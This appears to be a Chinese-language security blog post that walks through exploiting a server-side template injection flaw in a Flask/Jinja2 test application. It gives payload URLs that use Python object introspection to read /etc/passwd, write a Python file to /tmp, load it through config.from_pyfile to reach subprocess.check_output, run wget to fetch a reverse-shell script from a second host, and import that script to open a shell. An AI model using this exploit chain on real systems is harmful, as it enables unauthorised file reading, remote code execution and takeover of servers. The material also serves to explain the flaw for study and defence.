0x00. 前言
本篇文章是 《Flask Jinja2 开发中遇到的的服务端注入问题研究》<点击阅读原文查看链接>续篇,我们继续研究 Flask Jinja2开发中遇到的SSTI问题,本篇文章会介绍新的利用方式。
0×01. 测试代码
为了更好地演示Flask/Jinja2 开发中的SSTI问题,我们搭建一个小的POC程序,主要由两个python脚本组成, 其中page_not_found 存在SSTI漏洞:
Flask-test.py
Config.py
执行 python Flask-test.py
0×02. Flask/Jinja2 开发中的SSTI 利用之任意文件读取
先介绍一些概念
关于类对象
instance.__class__ 可以获取当前实例的类对象
我们知道python中新式类(也就是显示继承object对象的类)都有一个属性__class__可以获取到当前实例对应的类,随便选择一个简单的新
式类实例,比如”,一个空字符串,就是一个新式类实例,所以”.__class__ 就可以获取到实例对应的类(也就是<type ‘str’>)
类对象中的属性__mro__
class.__mro__ 获取当前类对象的所有继承类
python中类对象有一个属性__mro__, 这个属性返回一个tuple对象,这个对象包含了当前类对象所有继承的基类,tuple中元素的顺序就是MRO(Method Resolution Order) 寻找的顺序
http://10.1.100.3:5000/{{”.__class__.__mro__}}
从结果中可以发现”对应的类对象str继承的顺序是basestring->object
类对象中的方法__subclasses__()
每一个新式类都保留了它所有的子类的引用,__subclasses__()这个方法返回了类的所有存活的子类的引用(注意是类对象引用,不是实例)
我们知道python中的类都是继承object的,所以只要调用object类对象的__subclasses__()方法就可以获取我们想要的类的对象,比如用于读取文件的file对象
开始漏洞利用
首先获取object对象的所有子类引用列表
http://10.1.100.3:5000/{{”.__class__.__mro__[2].__subclasses__()}}
”.__class__.__mro__[2] 获取的就是object 类对象(<type ‘object’>)
从执行结果中可以看到,获取到非常多的子类类对象引用,这里我们比较关注的是file类对象(<type ‘file’>), 可以用来进行文件读取
我们选取file 类对象,并实例化一个匿名实例,给其传入参数 ‘/etc/passwd’
http://10.1.100.3:5000/{{”.__class__.__mro__[2].__subclasses__()[40](‘/etc/passwd’).read()}}
可以看到成功实现了任意文件读取
0×03. Flask/Jinja2 开发中的SSTI 利用之远程代码执行
1 首先向服务器写入一个py代码的文件/tmp/tmp.cfg
访问如下URL
http://10.1.100.3:5000/{{”.__class__.__mro__[2].__subclasses__()[40](‘/tmp/tmp.cfg’, ‘w’).write(‘from subprocess import check_outputnn RUNCMD = check_outputn ‘)}}
注: 这里需要注意直接在浏览器中访问这个URL,浏览器自动将n 变成/n, 所以要用burpsuite 的repeater 功能辅助一下
至此写入文件成功
2 利用Flask Template Globals 中的config上下文对象导入py代码
上一篇《Flask Jinja2开发中遇到的的服务端注入问题研究》中我们提到了render_template_string 函数中第二个参数context 这个上下文对象参数 默认值中就包含了Flask Template Globals 所有的全局变量,其中就包括config这个上下文对象(源代码Flask/config.py), from_pyfile 用于导入指定的py文件,源代码如下:
这段代码的意思就是将指定的py文件导入,然后将导入的py文件中的大写成员属性加入到config这个上下文对象中(这就是为什么我用RUNCMD了,大写)
先访问:
http://10.1.100.3:5000/{{config.from_pyfile(‘/tmp/tmp.cfg’)}}
再访问:
http://10.1.100.3:5000/{{config.items()}}
至此,我们已经将RUNCMD导入到config这个模板上下文对象中了,而RUNCMD指向subprocess.check_output
3 利用注入的RUNCMD 执行系统命令下载反弹shell
访问:
http://10.1.100.3:5000/{{config['RUNCMD'](‘/usr/bin/wget http://10.1.100.2/backShell.py -O /tmp/x’, shell=True)}}
从执行结果来看,反弹shell下载成功
4 利用config 上下文对象的from_pyfile方法导入反弹shell
我们知道python在导入模块的同时也会执行脚本中部分代码(class 和方法的定义不会执行),利用这一点,就可以执行反弹shell 了
访问:
http://10.1.100.3:5000/{{config.from_pyfile(‘/tmp/x’)}}
成功反弹shell